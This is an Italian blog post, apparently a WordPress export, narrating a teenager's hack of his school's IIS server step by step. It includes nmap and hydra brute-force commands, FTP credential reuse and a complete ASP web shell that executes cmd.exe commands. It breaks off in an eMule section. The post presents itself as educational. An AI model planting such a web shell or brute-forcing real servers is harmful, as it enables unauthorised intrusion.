{"id":238,"date":"2024-03-03T13:56:00","date_gmt":"2024-03-03T13:56:00","guid":{"rendered":"https:\/\/www.cyberdoomera.com\/?p=238"},"modified":"2024-03-03T14:06:23","modified_gmt":"2024-03-03T14:06:23","slug":"ghost-in-the-network-a-real-hacking-story-2","status":"publish","type":"post","link":"https:\/\/www.cyberdoomera.com\/en\/2024\/03\/03\/ghost-in-the-network-a-real-hacking-story-2\/","title":{"rendered":"Ghost in the network – A real hacking story"},"content":{"rendered":"\n
\"\"<\/figure>\n\n\n\n
<\/div>\n\n\n\n

Prima di iniziare a scrivere questo post \u00e8 doveroso fare qualche premessa:<\/p>\n\n\n\n

<\/div>\n\n\n\n
    \n
  • Il racconto \u00e8 “ispirato” ad una storia vera<\/strong>: l’articolo riguarder\u00e0 un fatto realmente accaduto, non si parler\u00e0 di una tipologia di attacco specifica;<\/li>\n\n\n\n
  • Lo scopo del racconto \u00e8 puramente educativo: <\/strong>sembra superfluo ricordare che entrare abusivamente in un sistema informatico senza aver prima ricevuto l’esplicito consenso del suo proprietario \u00e8 illegale. Il caso in questione serve pertanto solo a dimostrare quanto possa essere pericoloso e relativamente facile per un aggressore ottenere poteri “illimitati” partendo anche da un semplice accesso.<\/li>\n<\/ul>\n\n\n\n
    <\/div>\n\n\n\n

    <\/p>\n\n\n\n

    Background ed environment<\/h4>\n\n\n\n
    <\/div>\n\n\n\n

    Questa storia \u00e8 ambientata nell’Irlanda dei primi anni 2000, il nostro protagonista Natan-k<\/strong> \u00e8 uno studente adolescente. Come molti ragazzi, anche Natan ha qualche “problemino” con i suoi professori ed in generale con le autorit\u00e0, nel contempo per\u00f2 ha dalla sua curiosit\u00e0 e una spiccata propensione per la tecnologia. Tornato a casa dopo un’ennesima lite furiosa con i professori, dopo esser stato nuovamente punito e sospeso, Natan-k<\/strong> decide di vendicarsi attaccando il server della propria scuola. Inutile dire che molti degli attacchi che riporteremo nell’articolo non sono pi\u00f9 attuabili se non in ambienti prettamente virtualizzati; questo perch\u00e8, fortunatamente i sistemi sono molto pi\u00f9 sicuri e la protezione dei dati ha assunto una diversa centralit\u00e0 nel mondo di oggi, ma nonostante queste doverose premesse, si pu\u00f2 comunque affermare che il mindset e la filosofia che risiede dietro gli attacchi e la difesa \u00e8 rimasta inviariata. Vedremo pertanto come sia possibile apprendere molto anche da un attacco eseguito pi\u00f9 di 20 anni fa<\/p>\n\n\n\n

    <\/div>\n\n\n\n

    Hacking Phases<\/h4>\n\n\n\n

    Quando ci si trova a dover attaccare un sistema si eseguono una serie di attivit\u00e0 in un ordine ben specifico. Queste “fasi” ed il relativo ordine in cui le si esegue non sono cambiate negli anni e si possono riassumere nelle seguenti:<\/p>\n\n\n\n

    <\/div>\n\n\n\n
      \n
    • Reconnaissance<\/strong> (raccolta delle informazioni)<\/strong>: si raccolgono quante pi\u00f9 informazioni possibili riguardo il bersaglio come i servizi attivi, le porte associate a tali servizi, gli utenti presenti sul sistema e altre informazioni riguardanti la rete e la relativa mappatura;<\/li>\n\n\n\n
    • Scanning (ricerca delle vulnerabilit\u00e0): <\/strong>in quest fase si cerca di trovare le vulnerabilit\u00e0 presenti sui servizi, nella rete e in generale in tutti i layer della struttura;<\/li>\n\n\n\n
    • Exploit (sfruttamento delle vulnerabilit\u00e0):<\/strong> una volta individuate le vulnerabilit\u00e0, si cerca di sfruttarle per ottenere un primo accesso al sistema;<\/li>\n\n\n\n
    • Privilege escalation (aumento del livello di accesso):<\/strong> si sfruttano delle vulnerabilit\u00e0 per aumentare il proprio livello di accesso all’interno del sistema che si \u00e8 appena compromesso. La necessit\u00e0 di ricorrere al PE \u00e8 relativa al livello di accesso ottenuto in fase di exploit e soprattutto agli obiettivi dell’attaccante. Spesso infatti non \u00e8 necessario ottenere i poteri dell’utente root per poter raggiungere i propri scopi, specialmente se questi si esauriscono nell’exfiltrazione di dati specifici dell’utente;<\/li>\n\n\n\n
    • Persistence (mantenimento dell’accesso):<\/strong> In questa importante fase si utilizzano delle backdoor per assicurarsi di poter riaccedere in futuro al sistema in maniera pi\u00f9 semplice e soprattutto in modo “meno rumoroso”. Questo step \u00e8 in assoluto uno dei pi\u00f9 importanti e dei pi\u00f9 sottovalutati. Se non si garantisce la persistenza esister\u00e0 sempre il rischio di perdere l’accesso ottenuto tramite sfruttamento delle vulnerabilit\u00e0 a seguito per esempio di applicazioni di patch applicative o pi\u00f9 semplicemente di un cambio password di un utente compromesso;<\/li>\n\n\n\n
    • Exfiltration (estrapolazione dei dati):<\/strong> si utilizzano software e tecniche per poter estrapolare i dati privati degli utenti e del sistema; quest’ultimo \u00e8 solitamente il vero obiettivo di un attaccante. L’exfiltration ha un duplice effetto: il primo \u00e8 ovviamente la compromissione diretta dei dati privati e della privacy degli utenti, il secondo invece (spesso meno considerato ma altrettanto pericoloso) \u00e8 la compromissione di altri sistemi grazie ai dati acquisiti<\/strong>;<\/li>\n\n\n\n
    • Lateral movement o pivoting (compromissione della rete interna):<\/strong> spesso, dopo aver ottentuo l’accesso ad un server pubblico \u00e8 possibile raggiungere le macchine della rete interna collegate ad esso. Tali macchine possono detenere dati sensibili ed informazioni critiche;<\/li>\n\n\n\n
    • Cover track (pulizia delle informazioni di accesso):<\/strong> importante step in cui l’attaccante modifica i file di log per cancellare le tracce lasciate dall’attacco, rendendo cos\u00ec pi\u00f9 difficile risalire a lui.<\/li>\n<\/ul>\n\n\n\n

      <\/p>\n\n\n\n

      <\/div>\n\n\n\n

      Step 1 -\u2002Reconnaissance<\/h4>\n\n\n\n
      <\/div>\n\n\n\n

      Ripercorriamo le stesse azioni eseguite da Natan-k partendo proprio dallo step numero 1 e lo facciamo\u2002avendo a disposizione le sue stesse informazioni, una sola in realt\u00e0: l’url del sito web della sua scuola. Prima di scomodare nmap ed altri tool per enumerazione dei servizi, la prima cosa da fare quando si attacca un sistema esterno di cui non si hanno informazioni \u00e8 utilizzare il servizio whois<\/strong>. Whois fornisce utilssime informazioni in merito al proprietario di un dominio ma, cosa pi\u00f9 importante, fornisce informazioni dettagliate sul range di indirizzi assegnato ad un particolare blocco di rete, permettendo cos\u00ec di concentrare i propri attacchi contro l’intera rete del sistema target. Ecco di seguito la tripletta iniziale per la raccolta di informazioni dall’esterno<\/p>\n\n\n\n

      <\/div>\n\n\n\n
      ping www.natanfakeschool.ie
      PING ext-natanfakeschool.com (192.168.178.63)<\/strong> 56(84) bytes of data.
      64 bytes from 198.185.159.145 (192.168.173.63): icmp_seq=1 ttl=51 time=101 ms
      64 bytes from 198.185.159.145 (192.168.173.63): icmp_seq=2 ttl=51 time=124 ms
      <\/code><\/pre>\n\n\n\n
      <\/div>\n\n\n\n
      <\/div>\n\n\n\n
      grazie al ping otteniamo  l’indirizzo ip della macchina, da riutilizzare immediatamente con il tool whois<\/p>\n\n\n\n
      <\/p>\n\n\n\n
      otacon@ShadowMoses:~\/Desktop\/project\/natan-k$ whois 192.168.173.63

      #
      # ARIN WHOIS data and services are subject to the Terms of Use
      # available at: https:\/\/www.arin.net\/resources\/registry\/whois\/tou\/
      #
      # If you see inaccuracies in the results, please report at
      # https:\/\/www.arin.net\/resources\/registry\/whois\/inaccuracy_reporting\/
      #
      # Copyright 1997-2024, American Registry for Internet Numbers, Ltd.
      #


      NetRange:       192.168.173.0 - 192.168.173.255<\/strong>
      CIDR:           192.168.173.0\/24
      NetName:        NATANFAKESCHOOL
      NetHandle:      XXXXXXXXXXXXXXXXXXXXXXXXX
      Parent:         XXXXXXXXXXXXXXXXXXXXXXXXX
      NetType:        Direct Allocation
      OriginAS:       XXXXXXXXXXXXXXXXXXXXXXXXX
      Organization:   XXXXXXXXXXXXXXXXXXXXXXXXX
      RegDate:        XXXXXXXXXXXXXXXXXXXXXXXXX
      Updated:        XXXXXXXXXXXXXXXXXXXXXXXXX
      Comment:        XXXXXXXXXXXXXXXXXXXXXXXXX
      Ref:            XXXXXXXXXXXXXXXXXXXXXXXXX

      <\/code><\/pre>\n\n\n\n
      <\/div>\n\n\n\n
      <\/div>\n\n\n\n
      NetRange \u00e8 il parametro pi\u00f9 importante: ci comunica l’indirizzo iniziale e finale per quel blocco di rete. Quella della scuola di Natan-k \u00e8 una rete di classe C, questo significa che pu\u00f2 esporre al pubblico fino a 255 computer. Oggi sarebbe abbastanza inusuale trovare una rete di classe C pubblica per una semplice scuola ma nei primi 2000 queste situazioni erano un po’ pi\u00f9 comuni.<\/p>\n\n\n\n
      <\/p>\n\n\n\n
      <\/div>\n\n\n\n
      Il terzo tool utilizzato in questa ultima fase di reconnaissance \u00e8 nmap<\/strong>. Nmap \u00e8 attualmente lo “standard de facto” in tema di port scanning e si pu\u00f2 dire che lo era anche 25 anni fa… questo la dice lunga sulla potenza di questo tool!<\/p>\n\n\n\n
      <\/div>\n\n\n\n
      <\/div>\n\n\n\n
      Step 2 -\u2002Scanning<\/h4>\n\n\n\n
      <\/div>\n\n\n\n
      Nmap \u00e8  utilizzato principalmente per eseguire il mapping di una rete, individuare le macchine attive ed i servizi esposti. Utilizzandolo contro il range della natanfakeschool il risultato \u00e8\u2002il seguente<\/p>\n\n\n\n
      <\/div>\n\n\n\n
      nmap -sV --open 192.168.173.0-254<\/code><\/pre>\n\n\n\n
      <\/div>\n\n\n\n
      \"\"<\/figure>\n\n\n\n
      <\/div>\n\n\n\n
      <\/p>\n\n\n\n
      <\/div>\n\n\n\n
      Anche ad un occhio poco esperto non sar\u00e0 sfuggito il fatto che il primo sistema, che \u00e8 quello del web server della scuola, \u00e8 anche il pi\u00f9 vulnerabile: presenta infatti una sfilza di servizi attivi esposti al pubblico. Al giorno d’oggi questo equivarrebbe ad un vero e proprio suicidio telematico<\/strong>. E’ presente un http server di una versione obsoleta (IIS 5.0), un FTP server, ma \u00e8 l’esposizione del servizio Netbios e windows RPC<\/strong> a destare maggiore preoccupazione. Anche all’epoca esporre questi servizi in una rete pubblica costituiva una seria minaccia, ed infatti, come adesso vedremo, questo ha rappresentato il primo punto di accesso. All’epoca dei fatti era possibile enumerare gli utenti collegandosi da una sessione anonima al servizio Netbios, in poche parole non era necessario avere nessuna password per collegarsi al sistema e ottenere un elenco di username validi (spoiler: questa vulnerabilit\u00e0 \u00e8 stata patchata 20 anni fa).<\/p>\n\n\n\n
      <\/div>\n\n\n\n
      User Enumeration <\/h4>\n\n\n\n
      <\/p>\n\n\n\n
      Per enumerare gli utenti richiamiamo nmap con il seguente comando di scripting<\/p>\n\n\n\n
      nmap --script smb-enum-users 192.168.178.63
      <\/code><\/pre>\n\n\n\n
      \"\"<\/figure>\n\n\n\n
      <\/div>\n\n\n\n
      <\/h4>\n\n\n\n
      Sono presenti diversi username, alcuni afferenti ad utenti con privilegi di amministratore, altri come normali user. Una cosa che un attaccante potrebbe subito provare \u00e8 un semplice attacco bruteforce su password deboli, questo per ottenere almeno un accesso iniziale. Potremmo essere ancora pi\u00f9 fortuati e trovare cos\u00ec degli account che hanno password uguale all’username, sembra folle ma \u00e8 una cosa che capita pi\u00f9 spesso di quanto possiate immaginare.<\/p>\n\n\n\n
      <\/p>\n\n\n\n
      <\/div>\n\n\n\n
      First access – netbios cracking<\/h4>\n\n\n\n
      <\/div>\n\n\n\n
      Useremo il tool hydra proprio per provare ad utilizzare questa modalit\u00e0 di accesso<\/p>\n\n\n\n
      <\/div>\n\n\n\n
      #Utilizziamo lo stesso file per username e password
      hydra -L users.txt -P users.txt -u smb:\/\/192.168.178.63<\/code><\/pre>\n\n\n\n
      \"\"<\/figure>\n\n\n\n
      <\/div>\n\n\n\n
      <\/h4>\n\n\n\n
      <\/div>\n\n\n\n
      In questo semplice modo, Natan-k riusc\u00ec ad ottenere un accesso iniziale al sistema. L’utente mclevis<\/strong> \u00e8 un account user normale non appartenente al gruppo administrators<\/strong>. In assenza di condivisioni disco e con un utente non amministratore, il numero di cose da poter fare con queste informazioni sono assai limitate.<\/p>\n\n\n\n
      <\/div>\n\n\n\n
      Step 3 -\u2002Exploit<\/h4>\n\n\n\n
      <\/div>\n\n\n\n
      Natan-k non \u00e8 per\u00f2 tipo da arrendersi cos\u00ec facilmente, in mano aveva un account valido e tanti altri servizi da sfruttare per ottenere i suoi scopi.<\/p>\n\n\n\n
      <\/div>\n\n\n\n
      FTP Cracking – Credential Stuffing<\/h4>\n\n\n\n
      <\/div>\n\n\n\n
      Nella scansione iniziale effettuate con nmap, alla maggior parte dei lettori non sar\u00e0 sfuggito il fatto che nella lista dei servizi attivi \u00e8 presente anche FTP. FTP \u00e8 un servizio ancora oggi utilizzato per lo scambio di file attraverso la rete. Nel caso di server web, FTP veniva ampiamente utilizzato per l’amministrazione remota di un sito, in quanto uno sviluppatore poteva caricare direttamente le pagine html attraverso questo servizio. Per accedere \u00e8 necessario comunque fornire username e password.<\/p>\n\n\n\n
      <\/div>\n\n\n\n
      <\/h4>\n\n\n\n
      <\/div>\n\n\n\n
      Per credential stuffing<\/strong> si intende il riutilizzo di credenziali compromesse contro altri sistemi. Spesso infatti per ragioni pratiche o addirittura sistemistiche, si tende a riutilizzare le stesse credenziali su diversi sistemi o servizi. Windows 2000 infatti utilizza di default le credenziali di sistema per gestire anche FTP. Arriv\u00f2 cos\u00ec il momento di tentare il credential stuffing dell’utente mclevis contro il servizio FTP<\/p>\n\n\n\n
      \"\"<\/figure>\n\n\n\n
      <\/div>\n\n\n\n
      <\/h4>\n\n\n\n
      <\/div>\n\n\n\n
      Con somma gioia Natan ottenne una prima vera vittoria: un accesso in scrittura sulla directory del sito web della sua scuola. Gi\u00e0 con questo livello di accesso \u00e8 possibile modificare e deturpare a piacimento un sito, quanto basta per mettere in ridicolo gli amministratori. Natan non era per\u00f2 guidato da spirito distruttivo, quello che voleva davvero era la conoscenza e soprattutto vedere fin dove fosse possibile arrivare. L’utente normale non bastava pi\u00f9, era arrivato il momento di diventare Amministratori.<\/p>\n\n\n\n
      <\/div>\n\n\n\n
      <\/div>\n\n\n\n
      Step 4 -\u2002Privilege escalation<\/h4>\n\n\n\n
      <\/div>\n\n\n\n
      <\/h4>\n\n\n\n
      <\/div>\n\n\n\n
      Un utente normale con un semplice accesso al sito web rappresenta gi\u00e0 una grave minaccia per il sistema, ma cosa accadrebbe se si dovesse ottenere l’accesso come amministratore? In questo caso si avrebbe il totale controllo sul sistema e sugli altri utenti. E’ necessario rimanere silenzioni e lavorare di astuzia e pazienza per ottenere tale risultato.<\/p>\n\n\n\n
      <\/div>\n\n\n\n
      Web shell – backdooring <\/h4>\n\n\n\n
      <\/div>\n\n\n\n
      <\/h4>\n\n\n\n
      Il primo passo per iniziare ad esplorare il sistema \u00e8 ottenere una shell<\/strong>. Questo obiettivo \u00e8 facilmente ottenibile quando si compromette un sito web e lo si fa impiantanto una web shell che funge da backdoor. Di seguito un codice asp per una web shell minimale<\/p>\n\n\n\n
      <\/div>\n\n\n\n
      <\/div>\n\n\n\n
      <%
      Dim objShell
      Set objShell = Server.CreateObject(\"WScript.Shell\")

      Dim userInput
      userInput = Request.QueryString(\"input\")

      Dim outputFileName
      outputFileName = \"c:\\inetpub\\wwwroot\\output.txt\"

      objShell.Run \"cmd.exe \/c \" & userInput & \" > \"\"\" & outputFileName & \"\"\"\", 0, True

      Dim fso, outputFile, outputContent
      Set fso = Server.CreateObject(\"Scripting.FileSystemObject\")
      Set outputFile = fso.OpenTextFile(outputFileName, 1)
      outputContent = outputFile.ReadAll()
      outputFile.Close()

      Set outputFile = Nothing

      Response.Write(\"
      \" & outputContent & \"<\/pre>\")
      fso.DeleteFile outputFileName

      Set objShell = Nothing
      %>
      <\/code><\/pre>\n\n\n\n
      <\/h4>\n\n\n\n
      <\/div>\n\n\n\n
      <\/h4>\n\n\n\n
      E’ possibile utilizzare la webshell eseguendo comandi nel seguente modo http:\/\/192.168.178.63\/webshell1.asp?input=dir%20c:\\<\/strong><\/p>\n\n\n\n
      <\/div>\n\n\n\n
      \"\"<\/figure>\n\n\n\n
      <\/div>\n\n\n\n
      <\/div>\n\n\n\n
      Natan non riusc\u00ec a sfruttare nessuna vulnerabilit\u00e0 per ottenere un privilege escalation e impieg\u00f2 diverso tempo per trovare un modo alternativo al fine di ottenere l’accesso come Administrator. Sul punto di arrendersi Natan not\u00f2 per\u00f2 la presenza di un particolare software su un disco secondario<\/p>\n\n\n\n
      <\/div>\n\n\n\n
      Emule Backdooring<\/h4>\n\n\n\n
      <\/div>\n\n\n\n
      <\/h4>\n\n\n\n
      Su un disco secondario mappato sul drive E: Natan trov\u00f2 qualcosa di molto interessante<\/p>\n\n\n\n
      <\/p>\n\n\n\n
      \"\"<\/figure>\n\n\n\n
      <\/h4>\n\n\n\n
      <\/div>\n\n\n\n
      <\/h4>\n\n\n\n
      Emule \u00e8 un software per lo scambio file tramite peer to peer, incredibilmente il webserver veniva utilizzato dall’amministratore per scopi personali, questo proprio per sfruttare la connessione permanente del server (all’epoca le adsl non erano ancora cos\u00ec diffuse). Questa “distrazione”, come vedremo, permise a Natan di ottenere l’agognato accesso come administrator. <\/p>\n\n\n\n
      Si assicur\u00f2 di due cose fondamentali<\/p>\n\n\n\n
      <\/div>\n\n\n\n